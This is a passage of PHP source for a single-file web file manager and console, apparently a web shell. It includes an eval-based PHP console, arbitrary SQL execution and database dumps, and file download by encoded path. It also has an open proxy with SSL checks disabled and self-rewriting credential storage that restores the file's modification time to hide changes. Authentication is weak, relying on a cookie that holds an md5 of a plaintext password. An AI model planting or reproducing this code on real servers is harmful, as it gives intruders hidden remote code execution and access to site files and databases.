round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return filesize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return ' <a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>'; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>'; } return $res; } function fm_lang_form ($current='en'){ return ' <form name="change_lang" method="post" action=""> <select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" > <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option> <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option> <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option> <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option> <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option> </select> </form> '; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errors=ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query){ global $fm_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '<pre>'.stripslashes($vdump).'</pre>'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,filesize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute; else return $sqlErrorText.'<br/>'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fm_config; return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>'; } function fm_protocol() { if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://'; if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://'; if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://'; if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://'; return 'http://'; } function fm_site_url() { return fm_protocol().$_SERVER['HTTP_HOST']; } function fm_url($full=false) { $host=$full?fm_site_url():'.'; return $host.'/'.basename(__FILE__); } function fm_home($full=false){ return ' <a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home"> </span></a>'; } function fm_run_input($lng) { global $fm_config; $return = !empty($fm_config['enable_'.$lng.'_console']) ? ' <form method="post" action="'.fm_url().'" style="display:inline"> <input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'"> </form> ' : ''; return $return; } function fm_url_proxy($matches) { $link = str_replace('&','&',$matches[2]); $url = isset($_GET['url'])?$_GET['url']:''; $parse_url = parse_url($url); $host = $parse_url['scheme'].'://'.$parse_url['host'].'/'; if (substr($link,0,2)=='//') { $link = substr_replace($link,fm_protocol(),0,2); } elseif (substr($link,0,1)=='/') { $link = substr_replace($link,$host,0,1); } elseif (substr($link,0,2)=='./') { $link = substr_replace($link,$host,0,2); } elseif (substr($link,0,4)=='http') { //alles machen wunderschon } else { $link = $host.$link; } if ($matches[1]=='href' && !strripos($link, 'css')) { $base = fm_site_url().'/'.basename(__FILE__); $baseq = $base.'?proxy=true&url='; $link = $baseq.urlencode($link); } elseif (strripos($link, 'css')){ //как-то тоже подменять надо } return $matches[1].'="'.$link.'"'; } function fm_tpl_form($lng_tpl) { global ${$lng_tpl.'_templates'}; $tpl_arr = json_decode(${$lng_tpl.'_templates'},true); $str = ''; foreach ($tpl_arr as $ktpl=>$vtpl) { $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]" cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>'; } return ' <table> <tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr> '.$str.' <tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr> </form> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value" cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr> </form> </table> '; } function find_text_in_files($dir, $mask, $text) { $results = array(); if ($handle = opendir($dir)) { while (false !== ($entry = readdir($handle))) { if ($entry != "." && $entry != "..") { $path = $dir . "/" . $entry; if (is_dir($path)) { $results = array_merge($results, find_text_in_files($path, $mask, $text)); } else { if (fnmatch($mask, $entry)) { $contents = file_get_contents($path); if (strpos($contents, $text) !== false) { $results[] = str_replace('//', '/', $path); } } } } } closedir($handle); } return $results; } /* End Functions */ // authorization if ($auth['authorize']) { if (isset($_POST['login']) && isset($_POST['password'])){ if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) { setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization'])); $_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']); } } if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) { echo ' '; die(); } if (isset($_POST['quit'])) { unset($_COOKIE[$auth['cookie_name']]); setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization'])); header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']); } } // Change config if (isset($_GET['fm_settings'])) { if (isset($_GET['fm_config_delete'])) { unset($_COOKIE['fm_config']); setcookie('fm_config', '', time() - (86400 * $auth['days_authorization'])); header('Location: '.fm_url().'?fm_settings=true'); exit(0); } elseif (isset($_POST['fm_config'])) { $fm_config = $_POST['fm_config']; setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_config'] = serialize($fm_config); $msg_ntimes = __('Settings').' '.__('done'); } elseif (isset($_POST['fm_login'])) { if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login']; $fm_login = json_encode($_POST['fm_login']); $fgc = file_get_contents(__FILE__); $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg_ntimes .= __('File updated'); if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login']; if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password']; $auth = $_POST['fm_login']; } else $msg_ntimes .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } elseif (isset($_POST['tpl_edited'])) { $lng_tpl = $_POST['tpl_edited']; if (!empty($_POST[$lng_tpl.'_name'])) { $fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS); } elseif (!empty($_POST[$lng_tpl.'_new_name'])) { $fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS); } if (!empty($fm_php)) { $fgc = file_get_contents(__FILE__); $search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc); if (file_put_contents(__FILE__, $replace)) { ${$lng_tpl.'_templates'} = $fm_php; $msg_ntimes .= __('File updated'); } else $msg_ntimes .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } else $msg_ntimes .= __('Error occurred'); } } // Just show image if (isset($_GET['img'])) { $file=base64_decode($_GET['img']); if ($info=getimagesize($file)){ switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP case 1: $ext='gif'; break; case 2: $ext='jpeg'; break; case 3: $ext='png'; break; case 6: $ext='bmp'; break; default: die(); } header("Content-type: image/$ext"); echo file_get_contents($file); die(); } } // Just download file if (isset($_GET['download'])) { $file=base64_decode($_GET['download']); fm_download($file); } // Just show info if (isset($_GET['phpinfo'])) { phpinfo(); die(); } // Mini proxy, many bugs! if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) { $url = isset($_GET['url'])?urldecode($_GET['url']):''; $proxy_form = ' <div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);"> <form action="" method="GET"> <input type="hidden" name="proxy" value="true"> '.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55"> <input type="submit" value="'.__('Show').'" class="fm_input"> </form> </div> '; if ($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_REFERER, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER,true); $result = curl_exec($ch); curl_close($ch); //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result); $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result); $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result); echo $result; die(); } } ?> <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title>dead</title> <style> body { background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; margin: 0px; } a:link, a:active, a:visited { color: #006699; text-decoration: none; } a:hover { color: #DD6900; text-decoration: underline; } a.th:link { color: #FFA34F; text-decoration: none; } a.th:active { color: #FFA34F; text-decoration: none; } a.th:visited { color: #FFA34F; text-decoration: none; } a.th:hover { color: #FFA34F; text-decoration: underline; } table.bg { background-color: #ACBBC6 } th, td { font: normal 8pt Verdana, Arial, Helvetica, sans-serif; padding: 3px; } th { height: 25px; background-color: #006699; color: #FFA34F; font-weight: bold; font-size: 11px; } .row1 { background-color: #EFEFEF; } .row2 { background-color: #DEE3E7; } .row3 { background-color: #D1D7DC; padding: 5px; } tr.row1:hover { background-color: #F3FCFC; } tr.row2:hover { background-color: #F0F6F6; } .whole { width: 100%; } .all tbody td:first-child{width:100%;} textarea { font: 9pt 'Courier New', courier; line-height: 125%; padding: 5px; } .textarea_input { height: 1em; } .textarea_input:focus { height: auto; } input[type=submit]{ background: #FCFCFC none !important; cursor: pointer; } .folder { background-image: url("data:image/png;base64,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"); } .file { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLk